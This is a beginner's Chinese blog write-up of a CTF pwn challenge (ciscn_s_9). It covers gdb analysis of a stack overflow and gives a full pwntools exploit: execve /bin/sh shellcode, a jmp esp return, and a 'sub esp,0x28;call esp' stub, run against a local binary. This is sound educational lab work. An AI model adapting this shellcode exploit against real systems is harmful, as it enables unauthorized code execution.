第三道pwn题 whellcode
创始人
2024-06-02 22:38:02
0

本人是小白,文章仅用于做笔记。欢迎批评指正。

题目来自bilibili星盟安全视频,题目链接如下

链接:https://pan.baidu.com/s/15md86f6uxs6LBzqg3OORgA?pwd=6666

提取码:6666

老规矩先看下文件类型和保护

唔翻车了,是因为python2没有安装pwntools 没有办法,我比较笨,只能安装了。

参考的是这篇文章。

(4条消息) ubuntu20.04 python2 pwntools 环境搭建_python2环境搭建 ubuntu_cwzsquare的博客-CSDN博客

经过半天后:

不可执行保护没有开启,就是说可以向栈上写shellcode

程序的执行过程?

先看下main函数

哦,去了pwn执行

那可就看下pwn

视频上下断点至leave也就是pwn最后

值得注意的是下边的hint函数:jmp esp

那就是说可以跳转到栈上执行,好大体思路有了。

看下ida分析的对不对

去gdb调试下

gdb ciscn_s_9

下断点至

0x0804854F

b *0x0804854F 

r运行后

用python

'a'*0x20+'b'*0x4

打印24个字母,四个b用来覆盖ebp,回车后可以查看ebp发现是4个b还有一个\n(回车)

这个回车是我们输入的,但是在写脚本的时候是没有回车的,所以0x24个字节可以覆盖到ebp再往后就是返回地址了。

他这个栈大概是这样分布的,我们最后要写成这个样子。

我们先填充shellcode,然后将返回地址覆盖成jmp esp这条指令的地址,那也就是说在返回的时候会执行esp所指向的指令,这个时候esp在返回地址下边,我们想让他执行shellcode就要让他往上跑,就是经过之前的分析,我们知道他距离shellcode是0x28,所以2我们在返回地址后边写

sub esp,0x28;call esp

这样这道题差不多就就解决了,但是我比较笨,抄答案没有抄写对,视频给的答案是远程连接的,我不会,我就改成本地的了,视频中的shellcode在本地不知道为啥打不通,还好师教我动态调试,我才知道是shellcode的问题

经过痛苦的折磨后。

终于:

from pwn import *
context(os='linux',terminal = ['tmux', 'sp', '-h'])p = process('./ciscn_s_9')
#pause()
#shellcode ='''
#xor    eax,eax
#push   0x0068732f
#push   0x6e69622f
#mov    ebx,esp
#mov    al,0xb
#int    0x80
#'''
shellcode='''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,0xb
int 0x80
'''
shellcode =asm(shellcode)     #使用shellcraft.sh打不通,估计是因为太长了
shell='''sub esp,0x28;call esp'''
shell =asm(shell)
print(shell)
p.recvuntil(b'>\n')
payload = shellcode.ljust(0x24,b"\x90")
payload += p32(0x08048554)     #jmp esp
payload += shell#gdb.attach(p)
p.sendline(payload)
p.interactive()
~                                                                                                                                                                                                          
~                                                                                                                                                                                                          
~                                                                                                                                                                                                          
~                                          

该题主要是不像上一道题可以直接call到栈中执行,而是需要我们自己调整ip

主要思路就是将返回地址覆盖位jmp esp指令的地址,再在该指令后边写指令使esp指向刚刚填写的shellcode,就是减0x28,仅仅执行时不会执行的,该需要call下。这样就可以打通了。

而sub esp,0x28;call esp好像正好是4个字节,也就是一层栈。所以减0x28,可以跳转到刚刚写的shellcode,就可以打通了。

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...